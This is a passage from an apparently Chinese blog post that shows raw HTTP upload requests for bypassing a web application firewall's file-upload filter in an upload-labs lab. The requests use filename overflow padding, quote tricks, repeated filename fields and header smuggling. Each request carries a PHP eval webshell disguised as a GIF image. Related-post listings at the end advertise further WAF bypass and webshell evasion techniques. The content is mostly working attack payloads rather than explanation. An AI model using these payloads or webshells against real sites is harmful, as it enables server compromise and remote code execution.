aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.Php"
Content-Type: image/jpeg

gif89a
<?php @eval($_REQUEST['password']);?>
-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="submit"

上传
-----------------------------256355090225943020492268668928--

值匹配""的内容，后跟.php ：

POST /upload/Pass-06/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------256355090225943020492268668928
Content-Length: 388
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/upload/Pass-03/index.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="upload_file"; filename="1".Php;
Content-Type: image/jpeg

gif89a
<?php @eval($_REQUEST['password']);?>
-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="submit"

上传
-----------------------------256355090225943020492268668928--

多个filename，绕过匹配：

POST /upload/Pass-06/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------256355090225943020492268668928
Content-Length: 8864
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/upload/Pass-03/index.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="upload_file"; filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.Php"
Content-Type: image/jpeg

gif89a
<?php @eval($_REQUEST['password']);?>
-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="submit"

上传
-----------------------------256355090225943020492268668928--

白名单绕过：

POST /upload/Pass-06/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------256355090225943020492268668928
Content-Length: 435
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/upload/Pass-03/index.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="upload_file";filename="Content-Disposition: form-data; name=upload_file;x.Php"
Content-Type: image/jpeg

gif89a
<?php @eval($_REQUEST['password']);?>
-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="submit"

上传
-----------------------------256355090225943020492268668928--

bbb07
关注
  • 2
    点赞
  • 踩
  • 10
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
专栏目录
安全狗上传绕过+wbehshell免杀
09-05
服务器安全狗是一款集服务器安全防护和安全管理为一体的综合性服务器工具。支持Windows全系列操作系统（Windows2003/Windows2008/Windows2012 32位 64位）、Linux操作系统的服务器安全防护软件，从驱动层直接屏蔽攻击，保护服务器安全。自2011年推向市场后，迅速在服务器安全市场里占有一席之地。 这篇文档总结了一些安全狗上传绕过经验，供参考。
绕过安全狗继续注入的思路
08-30
标题: “绕过安全狗继续注入的思路” 描述: 介绍了通过特定方法绕过安全防护软件“安全狗”的方法来实现SQL注入。 标签: “安全”, “安全狗”, “SQL注入”, “渗透”, “绕过” 知识点: 1. 安全狗是针对网站...
文件上传-绕过安全狗
weixin_44769042的博客
08-17 1430
实验环境 安全狗+phpstudy+upload-labs-master 安全狗开启后，会有一个后缀名上传黑名单 先上传一个图片马，抓包查看 若是正常后缀名，可以上传 换成.php ，就会上传失败 设法绕过（这里是以第二关为例，，过其他关时还要考虑那一关的代码绕过） 1.用单双引号防匹配绕过 将文件名写成 filename="php （去掉右侧引号，上传成功） 换成单引号也行（不加引号也可以） 上传成功，但是普通的木马文件会被扫出来 ...
web安全-数据包参数内容简介-文件上传WAF(安全狗)绕过方法
ran的博客
02-03 1264
由编成的知识可以知道一个语句结束的末尾需要添加分号，而参数filename的后面没有分号，由此可知这一整条语句可能到filename就截止了，由此可以猜想如果filename后面加一个分号以后，其后面就可能还可以添加其它内容。因为安全狗的匹配机制是匹配双引号里的内容，但是这里的双引号有前没有后，它就一直在找后面的那个双引号，但是没有找到，所以可能没有匹配到。有的参数值加了双引号，有的参数值没加双引号，由此可以想到加了双引号的就是可以随便修改的，而没加双引号的可能就是有着固定的一些参数值。
文件上传之绕过安全狗
m0_50211409的博客
05-10 545
1，上传php一句话木马，提示不能上传php类型文件，只能上传 jpg.png.gif 通过弹框页面判断出是使用，前端代码进行验证的。 2，将前端代码删除，让他不能对上传类型进行验证。 发现删除后并不能进行一个绕过。 3，判断后端大概进行了后端验证将，php的一些文件进行了过滤。这时可以使用Apache的配置文件.htaccess进行绕过 我们上传一个自行编辑的名字为.htaccess文件。将Apache的htaccess进覆盖。 SetHandler application/x-httpd-php
文件上传绕过安全狗
最新发布
m0_64904947的博客
07-22 258
而且修改文件类型仅仅只是做到了落地免杀，没有做动态免杀，在用蚁剑连接木马的时候还是需要访问php文件还是需要读到内存里，一旦读取还是会被安全狗拦截，所以需要给蚁剑装一个编码器，因为普通的编码可能还是会被安全狗识别拦截，这里去github上下载一个。接下来尝试抓包修改文件类型，看看能不能上传上去，修改文件类型后上传成功，将info.php改为png。在选择编码器的时候要选择自己刚刚添加的自定义的编码器名字，我这里定义的是a。打开编码器的源码 ，里面自带了一个 免杀的木马，等下使用这个木马进行上传。
绕过安全狗asp代码
06-10
过安全狗asp程序 突破安全狗的拦截 绕过安全狗 本程序是在文件管理器的基础上开发的 仅供研究使用
33.三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗（六）1
08-03
声明：本人坚决反对利用教学方法进行犯罪的行为，一切犯罪行为必将受到严惩，绿色网络需要我们共同维护，更推荐大家了解它们背后的原理，更好地进行防护。写文章-CSDN
2016最新php免杀webshell过安全狗
03-05
这个文件可能是经过特殊处理的，比如包含了免杀技巧，使得它能够绕过安全狗的检测。 综上所述，这个压缩包提供的知识点主要集中在PHP免杀Webshell技术和如何绕过Web应用防火墙，尤其是针对2016年环境的安全策略。这...
网络安全渗透测试之绕过网站安全狗
09-05
网站安全狗通过在Web层分析HTTP协议来防止非法文件上传，然而这种方式可能无法完全阻止所有类型的绕过攻击。 假设有一个简单的文件上传表单，如上面示例所示。在网站安全狗中设置了禁止上传`.php`文件的情况下，...
绕过限制上传文件
10-05
文件上传漏洞是web安全中经常利用到的一种漏洞形式。一些web应用程序中允许上传图片，文本或者其他资源到指定的位置，文件上传漏洞就是利用这些可以上传的地方将代码植入到服务器中，再通过url去访问以执行代码。但在一些安全性较高的web应用中，往往会有各种上传限制和过滤，导致我们无法上传特定的文件。就需要用到这个工具去绕过各种限制上传文件
FCK上传绕过安全狗一则经验谈
12-13
FCK上传绕过安全狗一则经验谈
文件上传安全狗waf绕过思想
m0_48907714的博客
04-09 2478
本内容只做思想，因为这些已经是以前的了 上传参数名解析：明确有哪些东西能修改？ Content-Disposition: 一般可更改 name: 表单参数值，不能更改 filename :文件名，可以更改 Content-Type:文件MIME，视情况更改 常见的绕过方法 数据溢出-防匹配(xxx… .) 符号变异-防匹配（'和"和;) 数据截断-防匹配(%00 ;换行) 重复数据-防匹配(参数多次)x FUZZ大法 数据溢出-防匹配 符号变异-防匹配（'和"和;) 去掉双引号 删除后面的" 切换成’
00截断上传绕过_绕过网站安全狗拦截，上传Webshell技巧总结（附免杀PHP一句话）...
weixin_39663970的博客
12-20 250
思路是：修改HTTP请求，构成畸形HTTP请求，然后绕过网站安全狗的检测。废话不多说，切入正题。。。。1、实验环境：Windows Server 2003、 Apache/2.4.18、PHP/5.3.29、网站安全狗(Apache版)V3.5.120482、用于文件上传的PHP源码：...
安全狗文件绕过
weixin_30241919的博客
08-24 469
上传绕过WAF的一些常用方法 0X01姿势总结 （1）fuzz文件名后缀方法用burpsuite进行模糊测试，寻找黑名单之外的文件（2）windows系统可以进行后缀修改如：webshell.php……………..（3）路径绕过：有些WAF只会监视某个目录是否被上传webshell（4）大小写组合如：PhP，pHp（5）filename换行（6）多个filename（7）引号绕过如：双...
文件上传绕过安全狗WAF实战
永远是少年
10-09 4865
今天继续给大家介绍渗透测试相关知识，本文主要是文件上传绕过安全狗WAF实战。 一、环境搭建 二、绕过思路 三、绕过实战
mysql特性绕过安全狗_两种绕过安全狗等上传可执行文件的方式
weixin_42498346的博客
02-28 210
在获取到webshell时，往往需要上传exe类型的可执行exp进行提权，但是如果对方装有安全狗等，通过webshell上传是会被拦截的，所以，可以试试以下方法：一、打包为压缩文件上传解压这种方法需要可以执行系统命令，话说回来，如果不能执行系统命令，上传提权exp意义也不大windows系统自带zip，可以通过在本地压缩，webshell里解压释放exp，具体命令如下：压缩文件：makecab c...
文件上传之，waf绕过（24）
san3144393495的博客
05-20 1517
前期upload第二关的时候，判断的方式就是mime的类型的绕过，绕过miem是图片类型就可以上传，没有验证后缀，这是代码的判断，我们在来探针一下防护软件是怎么判断的，现在第二关上传一个图片上去，抓住数据包，mime满足就可以上传，所以把上传的文件名字改成php格式，本来这是可以正常上传成功的。mime可以作为一个验证条件，验证mime来判断你个文件一个合法性的时候，可以通过更改mime来达到一个伪造，比如上传一个php文件，这时候可以更改为图片类来尝试绕过mime验证。
文件上传绕过安全狗V3.5---绕过WAF---uploadlabs
z2560088的博客
01-16 2307
目录 环境： 测试： 1.数据溢出-防匹配 参数；saldmsakdsaxxsadsa(垃圾数据);参数 2.符号变异-防匹配 1 "Getzwt.php:"文件名后加： 2 filename========"Getzwt.php"​ 3.破坏数据包的完整性 1 去除formdata 2 去除content-type参数 4 重复数据-防匹配 1 filename=;filename="Getzwt.php" 参数之间以；分隔，让waf认为filename=null从而绕...
评论 4
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值